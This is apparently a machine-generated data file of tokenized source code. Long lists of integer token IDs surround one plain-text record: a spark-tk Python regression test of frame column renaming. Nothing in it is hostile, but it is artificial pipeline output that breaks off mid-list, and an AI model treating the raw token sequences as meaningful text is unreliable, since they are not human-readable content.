13,
9651,
1683,
29901,
13,
18884,
5096,
14352,
29896,
1822,
11991,
29889,
4397,
29898,
2490,
351,
29918,
3177,
29897,
13,
13,
1678,
565,
451,
3876,
470,
5096,
29901,
13,
4706,
12020,
5798,
9643,
11726,
2392,
877,
27259,
16521,
1642,
1495,
13,
13,
1678,
736,
3876,
29892,
19566,
27078,
13,
13,
13,
1990,
5798,
9643,
11726,
2392,
29898,
2451,
1125,
13,
1678,
1209,
13,
13,
13,
1990,
15045,
4144,
29901,
13,
1678,
4770,
2536,
1862,
1649,
353,
6702,
1807,
742,
525,
9653,
742,
525,
3560,
1495,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
1347,
29892,
10638,
29922,
8516,
1125,
13,
4706,
1583,
29889,
1807,
353,
1347,
13,
4706,
1583,
29889,
9653,
353,
10638,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
736,
285,
29915,
29966,
29931,
735,
4144,
426,
1311,
29889,
1807,
29913,
16299,
13,
13,
1678,
822,
4770,
276,
558,
12035,
1311,
1125,
13,
4706,
736,
851,
29898,
1311,
29897,
13,
13,
1678,
822,
4770,
1837,
12035,
1311,
29892,
916,
1125,
13,
4706,
736,
1583,
29889,
1807,
1275,
916,
29889,
1807,
13,
13,
1678,
822,
4770,
8568,
12035,
1311,
1125,
13,
4706,
736,
6608,
29898,
1311,
29889,
1807,
29897,
718,
29871,
29906,
13,
13,
1678,
732,
6799,
13,
1678,
822,
4055,
29898,
1311,
1125,
13,
4706,
736,
1583,
29889,
1807,
13,
13,
1678,
822,
304,
29918,
1807,
29898,
1311,
29892,
14978,
29918,
2506,
4144,
1125,
13,
4706,
565,
14978,
29918,
2506,
4144,
29901,
13,
9651,
736,
285,
11838,
29912,
1311,
29889,
1807,
5038,
29915,
13,
4706,
736,
1583,
29889,
1807,
13,
13,
13,
1990,
5798,
9643,
29901,
13,
1678,
4770,
2536,
1862,
1649,
353,
6702,
11991,
742,
525,
4039,
742,
525,
9653,
742,
525,
2248,
742,
525,
3560,
742,
525,
5552,
29879,
1495,
13,
13,
1678,
16641,
2891,
29918,
24461,
6670,
353,
525,
21289,
29915,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
4055,
29892,
4344,
29922,
8516,
29892,
10638,
29922,
8516,
1125,
13,
4706,
1583,
29889,
4039,
353,
4055,
13,
4706,
1583,
29889,
11991,
353,
4344,
565,
4344,
338,
451,
6213,
1683,
5159,
13,
4706,
1583,
29889,
9653,
353,
10638,
13,
4706,
1583,
29889,
2248,
353,
6213,
13,
13,
1678,
822,
4770,
710,
12035,
1311,
1125,
13,
4706,
2278,
29918,
1807,
353,
525,
718,
15300,
7122,
29898,
5145,
29889,
4039,
363,
2278,
297,
1583,
29889,
11991,
29897,
13,
4706,
736,
285,
29915,
29912,
1311,
29889,
9653,
29913,
426,
1311,
29889,
4039,
29913,
1149,
426,
5145,
29918,
1807,
10162,
13,
13,
1678,
822,
4770,
276,
558,
12035,
1311,
1125,
13,
4706,
736,
851,
29898,
1311,
29897,
13,
13,
1678,
822,
4770,
657,
667,
12035,
1311,
29892,
2380,
1125,
13,
4706,
565,
338,
8758,
29898,
2248,
29892,
938,
1125,
13,
9651,
736,
1583,
29889,
11991,
29961,
2248,
29962,
13,
4706,
565,
338,
8758,
29898,
2248,
29892,
851,
1125,
13,
9651,
363,
2278,
297,
1583,
29889,
11991,
29901,
13,
18884,
565,
338,
8758,
29898,
5145,
29892,
5798,
9643,
29897,
322,
2278,
29889,
4039,
1275,
2380,
29889,
21064,
7295,
13,
462,
1678,
736,
2278,
13,
4706,
12020,
7670,
2392,
13,
13,
1678,
822,
304,
29918,
1807,
29898,
1311,
29892,
14978,
29918,
2506,
4144,
29922,
8824,
1125,
13,
4706,
2278,
29918,
1807,
353,
525,
15300,
7122,
29898,
5145,
29889,
517,
29918,
1807,
29898,
1396,
29918,
2506,
4144,
29897,
363,
2278,
297,
1583,
29889,
11991,
29897,
13,
4706,
736,
285,
29915,
3319,
1311,
29889,
4039,
29913,
426,
5145,
29918,
1807,
1800,
29915,
13,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
515,
29918,
1807,
29898,
1807,
1125,
13,
4706,
9995,
1281,
4984,
5798,
9643,
515,
3847,
29882,
6656,
8954,
29889,
13,
13,
4706,
584,
3207,
1347,
29901,
1347,
310,
3847,
29882,
6656,
8954,
13,
4706,
584,
2457,
29901,
5798,
9643,
3876,
322,
599,
20447,
15045,
27078,
13,
4706,
9995,
13,
4706,
5447,
29892,
19566,
27078,
353,
903,
5675,
29918,
8336,
29898,
1807,
29892,
15045,
4144,
29892,
5798,
9643,
29897,
13,
4706,
363,
2380,
29892,
19566,
4144,
297,
26985,
29898,
2506,
27078,
1125,
13,
9651,
19566,
4144,
29889,
9653,
353,
2380,
29892,
2380,
718,
29871,
29896,
13,
4706,
5447,
29889,
7323,
5987,
29918,
1028,
550,
29918,
7564,
580,
13,
4706,
736,
5447,
29892,
19566,
27078,
13,
13,
1678,
822,
29370,
29918,
2490,
2098,
29898,
1311,
1125,
13,
4706,
363,
2278,
297,
1583,
29889,
11991,
29901,
13,
9651,
565,
338,
8758,
29898,
5145,
29892,
5798,
9643,
1125,
13,
18884,
7709,
515,
2278,
29889,
3018,
3901,
29918,
2490,
2098,
580,
13,
13,
4706,
7709,
1583,
13,
13,
1678,
822,
29370,
29918,
2490,
2098,
29918,
2541,
29918,
2506,
27078,
29898,
1311,
1125,
13,
4706,
363,
2278,
297,
1583,
29889,
11991,
29901,
13,
9651,
565,
338,
8758,
29898,
5145,
29892,
5798,
9643,
1125,
13,
18884,
7709,
515,
2278,
29889,
3018,
3901,
29918,
2490,
2098,
29918,
2541,
29918,
2506,
27078,
580,
13,
9651,
1683,
29901,
13,
18884,
7709,
2278,
13,
13,
4706,
7709,
1583,
13,
13,
1678,
822,
5706,
29918,
1457,
8489,
19016,
29898,
1311,
1125,
13,
4706,
363,
2278,
297,
1583,
29889,
11991,
29901,
13,
9651,
565,
338,
8758,
29898,
5145,
29892,
5798,
9643,
1125,
13,
18884,
7709,
515,
2278,
29889,
17158,
29918,
1457,
8489,
19016,
580,
13,
13,
4706,
363,
2278,
297,
1583,
29889,
11991,
29901,
13,
9651,
565,
338,
8758,
29898,
5145,
29892,
15045,
4144,
1125,
13,
18884,
7709,
1583,
13,
13,
1678,
822,
5706,
29918,
2506,
27078,
29898,
1311,
1125,
13,
4706,
363,
2278,
297,
1583,
29889,
11991,
29901,
13,
9651,
565,
338,
8758,
29898,
5145,
29892,
5798,
9643,
1125,
13,
18884,
7709,
515,
2278,
29889,
17158,
29918,
2506,
27078,
580,
13,
13,
4706,
363,
2278,
297,
1583,
29889,
11991,
29901,
13,
9651,
565,
338,
8758,
29898,
5145,
29892,
15045,
4144,
1125,
13,
18884,
7709,
2278,
13,
13,
1678,
822,
338,
29918,
19541,
29918,
8336,
29898,
1311,
1125,
13,
4706,
565,
338,
8758,
29898,
1311,
29889,
11991,
29961,
29900,
1402,
15045,
4144,
1125,
13,
9651,
736,
5852,
13,
4706,
736,
7431,
29898,
1311,
29889,
11991,
5277,
29871,
29906,
29897,
322,
599,
29898,
5145,
29889,
275,
29918,
19541,
29918,
8336,
580,
363,
2278,
297,
1583,
29889,
11991,
29897,
13,
13,
1678,
822,
2148,
21144,
29918,
348,
653,
29918,
14153,
29898,
1311,
29892,
3160,
29918,
1457,
8489,
979,
29922,
5574,
29892,
3349,
29918,
4632,
29922,
8516,
1125,
13,
4706,
565,
1583,
29889,
4039,
1275,
3349,
29918,
4632,
29901,
13,
9651,
4974,
7431,
29898,
1311,
29889,
11991,
29897,
1275,
29871,
29896,
13,
9651,
736,
1583,
29889,
11991,
29961,
29900,
1822,
1116,
21144,
29918,
348,
653,
29918,
14153,
29898,
2856,
29918,
1457,
8489,
979,
29922,
2856,
29918,
1457,
8489,
979,
29897,
13,
13,
4706,
565,
7431,
29898,
1311,
29889,
11991,
29897,
1405,
29871,
29896,
29901,
13,
9651,
736,
5798,
9643,
29898,
1311,
29889,
4039,
29892,
13,
462,
632,
4344,
29922,
1761,
29898,
5145,
29889,
1116,
21144,
29918,
348,
653,
29918,
14153,
580,
13,
462,
462,
965,
363,
2278,
297,
1583,
29889,
11991,
511,
13,
462,
632,
10638,
29922,
1311,
29889,
9653,
29897,
13,
13,
4706,
565,
338,
8758,
29898,
1311,
29889,
11991,
29961,
29900,
1402,
15045,
4144,
1125,
13,
9651,
736,
5798,
9643,
3552,
1311,
29889,
4039,
565,
3160,
29918,
1457,
8489,
979,
1683,
382,
3580,
15631,
29918,
4986,
29968,
1430,
511,
13,
462,
632,
4344,
29922,
1761,
29898,
1311,
29889,
11991,
511,
13,
462,
632,
10638,
29922,
1311,
29889,
9653,
29897,
13,
13,
4706,
4974,
338,
8758,
29898,
1311,
29889,
11991,
29961,
29900,
1402,
5798,
9643,
29897,
13,
4706,
2943,
353,
1583,
13,
4706,
716,
29918,
4039,
353,
1583,
29889,
4039,
13,
4706,
1550,
7431,
29898,
3177,
29889,
11991,
29897,
1275,
29871,
29896,
322,
338,
8758,
29898,
3177,
29889,
11991,
29961,
29900,
1402,
5798,
9643,
1125,
13,
9651,
2943,
353,
2943,
29889,
11991,
29961,
29900,
29962,
13,
9651,
565,
3160,
29918,
1457,
8489,
979,
470,
338,
8758,
29898,
3177,
29889,
11991,
29961,
29900,
1402,
5798,
9643,
1125,
13,
18884,
716,
29918,
4039,
4619,
365,
2882,
6670,
29918,
1660,
29925,
718,
2943,
29889,
4039,
13,
13,
4706,
565,
7431,
29898,
3177,
29889,
11991,
29897,
1275,
29871,
29896,
29901,
13,
9651,
4344,
353,
1051,
29898,
3177,
29889,
11991,
29897,
13,
4706,
1683,
29901,
13,
9651,
4344,
353,
1051,
29898,
5145,
29889,
1116,
21144,
29918,
348,
653,
29918,
14153,
580,
363,
2278,
297,
2943,
29889,
11991,
29897,
13,
13,
4706,
736,
5798,
9643,
29898,
1482,
29918,
4039,
29892,
4344,
29922,
11991,
29892,
10638,
29922,
1311,
29889,
9653,
29897,
13,
13,
1678,
822,
17832,
29918,
348,
653,
29918,
14153,
29898,
1311,
29892,
788,
29918,
4632,
29922,
8516,
1125,
13,
4706,
565,
338,
8758,
29898,
1311,
29889,
11991,
29961,
29900,
1402,
15045,
4144,
1125,
13,
9651,
4344,
353,
1051,
29898,
1311,
29889,
11991,
29897,
13,
4706,
1683,
29901,
13,
9651,
4344,
353,
1051,
29898,
5145,
29889,
18837,
287,
29918,
348,
653,
29918,
14153,
580,
363,
2278,
297,
1583,
29889,
11991,
29897,
13,
13,
4706,
8282,
353,
1583,
29889,
4039,
29889,
5451,
29898,
24461,
6670,
29918,
1660,
29925,
29897,
13,
4706,
363,
4055,
297,
18764,
287,
29898,
11338,
1125,
13,
9651,
4344,
353,
518,
12075,
9643,
29898,
4039,
29892,
4344,
29922,
11991,
29892,
10638,
29922,
1311,
29889,
9653,
4638,
13,
13,
4706,
3876,
353,
4344,
29961,
29900,
29962,
13,
4706,
565,
788,
29918,
4632,
29901,
13,
9651,
3876,
353,
5798,
9643,
29898,
1202,
29918,
4632,
29892,
4344,
11759,
4632,
2314,
13,
13,
4706,
736,
3876,
13,
13,
1678,
822,
8147,
29918,
9653,
29898,
1311,
1125,
13,
4706,
1583,
29889,
9653,
353,
1583,
29889,
11991,
29961,
29900,
1822,
9653,
29961,
29900,
1402,
1583,
29889,
11991,
14352,
29896,
1822,
9653,
29961,
29896,
29962,
13,
13,
1678,
822,
19450,
29918,
1028,
550,
29918,
7564,
29898,
1311,
1125,
13,
4706,
363,
2278,
297,
1583,
29889,
11991,
29901,
13,
9651,
565,
338,
8758,
29898,
5145,
29892,
5798,
9643,
1125,
13,
18884,
2278,
29889,
7323,
5987,
29918,
1028,
550,
29918,
7564,
580,
13,
13,
4706,
1583,
29889,
15807,
403,
29918,
9653,
580,
13,
13,
1678,
822,
788,
29918,
2490,
2098,
29918,
2248,
29898,
1311,
1125,
13,
4706,
363,
2380,
29892,
2943,
297,
26985,
29898,
1311,
29889,
3018,
3901,
29918,
2490,
2098,
580,
1125,
13,
9651,
2943,
29889,
2248,
353,
2380,
13,
13,
1678,
822,
788,
29918,
862,
1237,
29898,
1311,
29892,
3847,
29922,
8516,
1125,
13,
4706,
1583,
29889,
3560,
353,
3847,
13,
4706,
363,
2278,
297,
1583,
29889,
11991,
29901,
13,
9651,
565,
338,
8758,
29898,
5145,
29892,
5798,
9643,
1125,
13,
18884,
2278,
29889,
1202,
29918,
862,
1237,
29898,
1311,
29897,
13,
13,
1678,
822,
338,
29918,
4564,
342,
272,
29918,
974,
29898,
1311,
29892,
916,
1125,
13,
4706,
916,
353,
916,
29889,
3560,
13,
4706,
1550,
916,
338,
451,
6213,
322,
916,
338,
451,
1583,
29901,
13,
9651,
916,
353,
916,
29889,
3560,
13,
4706,
736,
916,
338,
451,
6213,
13,
13,
1678,
822,
5706,
29918,
2084,
29918,
517,
29918,
4632,
29898,
1311,
29892,
3160,
29918,
1311,
29922,
8824,
1125,
13,
4706,
2943,
353,
1583,
13,
4706,
565,
451,
3160,
29918,
1311,
29901,
13,
9651,
2943,
353,
1583,
29889,
3560,
13,
4706,
1550,
2943,
338,
451,
6213,
29901,
13,
9651,
7709,
2943,
13,
9651,
2943,
353,
2943,
29889,
3560,
13,
13,
1678,
822,
19604,
29918,
9435,
29918,
4564,
342,
272,
29898,
1311,
29892,
916,
1125,
13,
4706,
2224,
353,
1051,
29898,
1228,
29889,
17158,
29918,
2084,
29918,
517,
29918,
4632,
3101,
13,
4706,
363,
2943,
297,
1583,
29889,
17158,
29918,
2084,
29918,
517,
29918,
4632,
7295,
13,
9651,
1018,
29901,
13,
18884,
736,
2224,
29961,
2084,
29889,
2248,
29898,
3177,
4638,
13,
9651,
5174,
7865,
2392,
29901,
13,
18884,
1209,
13,
13,
1678,
822,
3349,
29918,
18010,
29898,
1311,
29892,
4175,
1125,
13,
4706,
903,
11991,
353,
5159,
13,
4706,
363,
274,
297,
1583,
29889,
11991,
29901,
13,
9651,
565,
338,
8758,
29898,
29883,
29892,
5798,
9643,
1125,
13,
18884,
565,
4175,
29898,
29883,
1125,
13,
462,
1678,
1209,
13,
18884,
1683,
29901,
13,
462,
1678,
22289,
29918,
3177,
353,
274,
29889,
5992,
29918,
18010,
29898,
4572,
29897,
13,
462,
1678,
903,
11991,
29889,
4397,
29898,
4572,
287,
29918,
3177,
29897,
13,
9651,
1683,
29901,
13,
18884,
903,
11991,
29889,
4397,
29898,
29883,
29897,
13,
4706,
736,
5798,
9643,
29898,
1311,
29889,
4039,
29892,
903,
11991,
29897,
13,
2
] |
regression-tests/sparktkregtests/testcases/frames/column_method_rename_test.py | lewisc/spark-tk | 34 | 109338 | <reponame>lewisc/spark-tk
# vim: set encoding=utf-8
# Copyright (c) 2016 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# vim: set encoding=utf-8
# Copyright (c) 2016 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
"""Tests methods that access or alter columns"""
import unittest
from sparktkregtests.lib import sparktk_test
dummy_int_val = -77 # placeholder data value for added column
dummy_col_count = 1000 # length of dummy list for column add
# This method is to test different sources of functions
# i.e. global
def global_dummy_val_list(row):
return [dummy_int_val for _ in range(0, dummy_col_count)]
class ColumnMethodTest(sparktk_test.SparkTKTestCase):
# Test class bound methods
@staticmethod
def static_dummy_val_list(row):
return [dummy_int_val for _ in range(0, dummy_col_count)]
def setUp(self):
"""Build test_frame"""
super(ColumnMethodTest, self).setUp()
dataset = self.get_file("int_str_float.csv")
schema = [("int", int), ("str", str), ("float", float)]
self.frame = self.context.frame.import_csv(dataset, schema=schema)
def test_rename_columns(self):
"""Test renaming columns works"""
self.frame.add_columns(
lambda row: dummy_int_val, ('product', int))
col_count = len(self.frame.take(1)[0])
self.frame.rename_columns(
{'int': 'firstNumber', 'float': 'secondNumber'})
self.assertEqual(col_count, len(self.frame.take(1)[0]))
self.assertNotIn('int', self.frame.column_names)
self.assertNotIn('float', self.frame.column_names)
self.assertIn('firstNumber', self.frame.column_names)
self.assertIn('secondNumber', self.frame.column_names)
def test_redundant_rename(self):
"""Test renaming with the same name works"""
col_count = len(self.frame.take(1)[0])
self.frame.rename_columns({'str': 'str'})
self.assertEqual(col_count, len(self.frame.take(1)[0]))
self.assertIn('str', self.frame.column_names)
def test_swap_column_names(self):
"""Test swapping column names works"""
col_count = len(self.frame.take(1)[0])
self.frame.rename_columns({'str': 'int', 'int': 'str'})
self.assertEqual(col_count, len(self.frame.take(1)[0]))
self.assertEqual(u'str', self.frame.column_names[0])
self.assertEqual(u'int', self.frame.column_names[1])
def test_multi_column_names_collision_no_force(self):
"""Test a multiple column rename with collisions fails"""
with self.assertRaisesRegexp(
Exception, "Invalid new column names are not unique"):
self.frame.rename_columns({'str': 'alpha',
'int': 'times',
'float': 'alpha'})
def test_rename_existing_name_no_force(self):
"""Test renaming to an existing name errors"""
with self.assertRaisesRegexp(
Exception, "Invalid new column name 'str' collides"):
self.frame.rename_columns({'int': 'str'})
def test_multi_column_names_collision(self):
"""Test a multiple column rename with collisions fails"""
with self.assertRaisesRegexp(
Exception, "Invalid new column names are not unique"):
self.frame.rename_columns({'str': 'alpha',
'int': 'times',
'float': 'alpha'})
self.frame.inspect()
def test_rename_existing_name(self):
"""Test renaming to an existing name errors"""
with self.assertRaisesRegexp(
Exception, "Invalid new column name 'str' collides"):
self.frame.rename_columns({'int': 'str'})
self.frame.inspect()
def test_rename_non_existent(self):
"""Test renaming a non-existent column fails"""
with self.assertRaisesRegexp(Exception, "Invalid column"):
self.frame.rename_columns({'no-such-name': 'not-a-name'})
def test_rename_with_special_characters(self):
"""Test renaming with special characters errors"""
with self.assertRaisesRegexp(Exception, "alpha-numeric"):
self.frame.rename_columns(
{'int': 'Long ugly !@#$%^&*(?)_+|}{[\\]\|'})
if __name__ == "__main__":
unittest.main()
| [
1,
529,
276,
1112,
420,
29958,
280,
29893,
10669,
29914,
12597,
29899,
11178,
13,
29937,
325,
326,
29901,
731,
8025,
29922,
9420,
29899,
29947,
13,
13,
29937,
29871,
14187,
1266,
30081,
29898,
29883,
29897,
30081,
29906,
29900,
29896,
29953,
18555,
30081,
12521,
1971,
362,
30081,
13,
29937,
13,
29937,
29871,
10413,
21144,
30081,
5062,
30081,
1552,
30081,
17396,
1829,
30081,
29931,
293,
1947,
29892,
30081,
6594,
30081,
29906,
29889,
29900,
30081,
29898,
1552,
30081,
29908,
29931,
293,
1947,
1496,
13,
29937,
29871,
366,
30081,
13029,
30081,
1333,
30081,
1509,
30081,
1366,
30081,
1445,
30081,
19499,
30081,
262,
30081,
2388,
13036,
30081,
2541,
30081,
1552,
30081,
29931,
293,
1947,
29889,
13,
29937,
29871,
887,
30081,
13029,
30081,
711,
2408,
30081,
29874,
30081,
8552,
30081,
974,
30081,
1552,
30081,
29931,
293,
1947,
30081,
271,
13,
29937,
13,
29937,
29871,
17891,
30081,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
29937,
13,
29937,
29871,
25870,
30081,
12403,
30081,
1609,
30081,
932,
506,
519,
30081,
10653,
30081,
272,
30081,
351,
276,
287,
30081,
517,
30081,
262,
30081,
16554,
29892,
30081,
20415,
13,
29937,
29871,
13235,
30081,
5062,
30081,
1552,
30081,
29931,
293,
1947,
30081,
275,
30081,
5721,
7541,
30081,
265,
30081,
273,
30081,
29908,
3289,
30081,
3235,
29908,
30081,
29933,
3289,
3235,
29892,
13,
29937,
29871,
399,
1806,
8187,
2692,
30081,
29956,
1718,
29934,
13566,
29059,
30081,
1955,
30081,
6007,
29928,
22122,
29903,
30081,
9800,
30081,
2190,
29979,
30081,
29968,
22255,
29892,
30081,
29872,
2121,
30081,
17073,
30081,
272,
30081,
6574,
2957,
29889,
13,
29937,
29871,
2823,
30081,
1552,
30081,
29931,
293,
1947,
30081,
1454,
30081,
1552,
30081,
14940,
30081,
11675,
30081,
29887,
957,
1076,
30081,
17858,
6847,
30081,
392,
13,
29937,
29871,
27028,
30081,
5062,
30081,
1552,
30081,
29931,
293,
1947,
29889,
13,
29937,
13,
13,
29937,
325,
326,
29901,
731,
8025,
29922,
9420,
29899,
29947,
13,
13,
29937,
29871,
14187,
1266,
30081,
29898,
29883,
29897,
30081,
29906,
29900,
29896,
29953,
18555,
30081,
12521,
1971,
362,
30081,
13,
29937,
13,
29937,
29871,
10413,
21144,
30081,
5062,
30081,
1552,
30081,
17396,
1829,
30081,
29931,
293,
1947,
29892,
30081,
6594,
30081,
29906,
29889,
29900,
30081,
29898,
1552,
30081,
29908,
29931,
293,
1947,
1496,
13,
29937,
29871,
366,
30081,
13029,
30081,
1333,
30081,
1509,
30081,
1366,
30081,
1445,
30081,
19499,
30081,
262,
30081,
2388,
13036,
30081,
2541,
30081,
1552,
30081,
29931,
293,
1947,
29889,
13,
29937,
29871,
887,
30081,
13029,
30081,
711,
2408,
30081,
29874,
30081,
8552,
30081,
974,
30081,
1552,
30081,
29931,
293,
1947,
30081,
271,
13,
29937,
13,
29937,
29871,
17891,
30081,
1732,
597,
1636,
29889,
4288,
29889,
990,
29914,
506,
11259,
29914,
27888,
1430,
1660,
29899,
29906,
29889,
29900,
13,
29937,
13,
29937,
29871,
25870,
30081,
12403,
30081,
1609,
30081,
932,
506,
519,
30081,
10653,
30081,
272,
30081,
351,
276,
287,
30081,
517,
30081,
262,
30081,
16554,
29892,
30081,
20415,
13,
29937,
29871,
13235,
30081,
5062,
30081,
1552,
30081,
29931,
293,
1947,
30081,
275,
30081,
5721,
7541,
30081,
265,
30081,
273,
30081,
29908,
3289,
30081,
3235,
29908,
30081,
29933,
3289,
3235,
29892,
13,
29937,
29871,
399,
1806,
8187,
2692,
30081,
29956,
1718,
29934,
13566,
29059,
30081,
1955,
30081,
6007,
29928,
22122,
29903,
30081,
9800,
30081,
2190,
29979,
30081,
29968,
22255,
29892,
30081,
29872,
2121,
30081,
17073,
30081,
272,
30081,
6574,
2957,
29889,
13,
29937,
29871,
2823,
30081,
1552,
30081,
29931,
293,
1947,
30081,
1454,
30081,
1552,
30081,
14940,
30081,
11675,
30081,
29887,
957,
1076,
30081,
17858,
6847,
30081,
392,
13,
29937,
29871,
27028,
30081,
5062,
30081,
1552,
30081,
29931,
293,
1947,
29889,
13,
29937,
13,
15945,
29908,
24376,
3519,
393,
2130,
470,
10551,
4341,
15945,
29908,
13,
5215,
443,
27958,
13,
13,
3166,
16267,
11178,
1727,
21150,
29889,
1982,
1053,
16267,
11178,
29918,
1688,
13,
13,
29881,
11770,
29918,
524,
29918,
791,
353,
448,
29955,
29955,
268,
396,
12983,
848,
995,
363,
2715,
1897,
13,
29881,
11770,
29918,
1054,
29918,
2798,
353,
29871,
29896,
29900,
29900,
29900,
29871,
396,
3309,
310,
20254,
1051,
363,
1897,
788,
13,
13,
13,
29937,
910,
1158,
338,
304,
1243,
1422,
8974,
310,
3168,
13,
29937,
474,
29889,
29872,
29889,
5534,
13,
1753,
5534,
29918,
29881,
11770,
29918,
791,
29918,
1761,
29898,
798,
1125,
13,
1678,
736,
518,
29881,
11770,
29918,
524,
29918,
791,
363,
903,
297,
3464,
29898,
29900,
29892,
20254,
29918,
1054,
29918,
2798,
4638,
13,
13,
13,
1990,
12481,
4062,
3057,
29898,
29879,
862,
1193,
29895,
29918,
1688,
29889,
29903,
6378,
29911,
29968,
3057,
8259,
1125,
13,
13,
1678,
396,
4321,
770,
3216,
3519,
13,
1678,
732,
7959,
5696,
13,
1678,
822,
2294,
29918,
29881,
11770,
29918,
791,
29918,
1761,
29898,
798,
1125,
13,
4706,
736,
518,
29881,
11770,
29918,
524,
29918,
791,
363,
903,
297,
3464,
29898,
29900,
29892,
20254,
29918,
1054,
29918,
2798,
4638,
13,
13,
1678,
822,
731,
3373,
29898,
1311,
1125,
13,
4706,
9995,
8893,
1243,
29918,
2557,
15945,
29908,
13,
4706,
2428,
29898,
4409,
4062,
3057,
29892,
1583,
467,
842,
3373,
580,
13,
4706,
8783,
353,
1583,
29889,
657,
29918,
1445,
703,
524,
29918,
710,
29918,
7411,
29889,
7638,
1159,
13,
4706,
10938,
353,
518,
703,
524,
613,
938,
511,
4852,
710,
613,
851,
511,
4852,
7411,
613,
5785,
4638,
13,
13,
4706,
1583,
29889,
2557,
353,
1583,
29889,
4703,
29889,
2557,
29889,
5215,
29918,
7638,
29898,
24713,
29892,
10938,
29922,
11010,
29897,
13,
13,
1678,
822,
1243,
29918,
1267,
420,
29918,
13099,
29898,
1311,
1125,
13,
4706,
9995,
3057,
4325,
11500,
4341,
1736,
15945,
29908,
13,
4706,
1583,
29889,
2557,
29889,
1202,
29918,
13099,
29898,
13,
9651,
14013,
1948,
29901,
20254,
29918,
524,
29918,
791,
29892,
6702,
4704,
742,
938,
876,
13,
13,
4706,
784,
29918,
2798,
353,
7431,
29898,
1311,
29889,
2557,
29889,
19730,
29898,
29896,
9601,
29900,
2314,
13,
4706,
1583,
29889,
2557,
29889,
1267,
420,
29918,
13099,
29898,
13,
9651,
11117,
524,
2396,
525,
4102,
4557,
742,
525,
7411,
2396,
525,
7496,
4557,
29915,
1800,
13,
13,
4706,
1583,
29889,
9294,
9843,
29898,
1054,
29918,
2798,
29892,
7431,
29898,
1311,
29889,
2557,
29889,
19730,
29898,
29896,
9601,
29900,
12622,
13,
4706,
1583,
29889,
9294,
3664,
797,
877,
524,
742,
1583,
29889,
2557,
29889,
4914,
29918,
7039,
29897,
13,
4706,
1583,
29889,
9294,
3664,
797,
877,
7411,
742,
1583,
29889,
2557,
29889,
4914,
29918,
7039,
29897,
13,
4706,
1583,
29889,
9294,
797,
877,
4102,
4557,
742,
1583,
29889,
2557,
29889,
4914,
29918,
7039,
29897,
13,
4706,
1583,
29889,
9294,
797,
877,
7496,
4557,
742,
1583,
29889,
2557,
29889,
4914,
29918,
7039,
29897,
13,
13,
1678,
822,
1243,
29918,
9313,
299,
424,
29918,
1267,
420,
29898,
1311,
1125,
13,
4706,
9995,
3057,
4325,
11500,
411,
278,
1021,
1024,
1736,
15945,
29908,
13,
4706,
784,
29918,
2798,
353,
7431,
29898,
1311,
29889,
2557,
29889,
19730,
29898,
29896,
9601,
29900,
2314,
13,
4706,
1583,
29889,
2557,
29889,
1267,
420,
29918,
13099,
3319,
29915,
710,
2396,
525,
710,
29915,
1800,
13,
4706,
1583,
29889,
9294,
9843,
29898,
1054,
29918,
2798,
29892,
7431,
29898,
1311,
29889,
2557,
29889,
19730,
29898,
29896,
9601,
29900,
12622,
13,
4706,
1583,
29889,
9294,
797,
877,
710,
742,
1583,
29889,
2557,
29889,
4914,
29918,
7039,
29897,
13,
13,
1678,
822,
1243,
29918,
26276,
29918,
4914,
29918,
7039,
29898,
1311,
1125,
13,
4706,
9995,
3057,
2381,
20304,
1897,
2983,
1736,
15945,
29908,
13,
4706,
784,
29918,
2798,
353,
7431,
29898,
1311,
29889,
2557,
29889,
19730,
29898,
29896,
9601,
29900,
2314,
13,
4706,
1583,
29889,
2557,
29889,
1267,
420,
29918,
13099,
3319,
29915,
710,
2396,
525,
524,
742,
525,
524,
2396,
525,
710,
29915,
1800,
13,
4706,
1583,
29889,
9294,
9843,
29898,
1054,
29918,
2798,
29892,
7431,
29898,
1311,
29889,
2557,
29889,
19730,
29898,
29896,
9601,
29900,
12622,
13,
4706,
1583,
29889,
9294,
9843,
29898,
29884,
29915,
710,
742,
1583,
29889,
2557,
29889,
4914,
29918,
7039,
29961,
29900,
2314,
13,
4706,
1583,
29889,
9294,
9843,
29898,
29884,
29915,
524,
742,
1583,
29889,
2557,
29889,
4914,
29918,
7039,
29961,
29896,
2314,
13,
13,
1678,
822,
1243,
29918,
9910,
29918,
4914,
29918,
7039,
29918,
22017,
2459,
29918,
1217,
29918,
10118,
29898,
1311,
1125,
13,
4706,
9995,
3057,
263,
2999,
1897,
19508,
411,
5321,
12112,
8465,
15945,
29908,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
4597,
4548,
29898,
13,
18884,
8960,
29892,
376,
13919,
716,
1897,
2983,
526,
451,
5412,
29908,
1125,
13,
9651,
1583,
29889,
2557,
29889,
1267,
420,
29918,
13099,
3319,
29915,
710,
2396,
525,
2312,
742,
13,
462,
462,
539,
525,
524,
2396,
525,
3706,
742,
13,
462,
462,
539,
525,
7411,
2396,
525,
2312,
29915,
1800,
13,
13,
1678,
822,
1243,
29918,
1267,
420,
29918,
735,
15423,
29918,
978,
29918,
1217,
29918,
10118,
29898,
1311,
1125,
13,
4706,
9995,
3057,
4325,
11500,
304,
385,
5923,
1024,
4436,
15945,
29908,
13,
4706,
411,
1583,
29889,
9294,
29934,
1759,
267,
4597,
4548,
29898,
13,
18884,
8960,
29892,
376,
13919,
716,
1897,
1024,
525,
710,
29915,
5321,
2247,
29908,
1125,
13,
9651,
1583,
29889,
2557,
29889,
1267,
420,
29918,
13099,
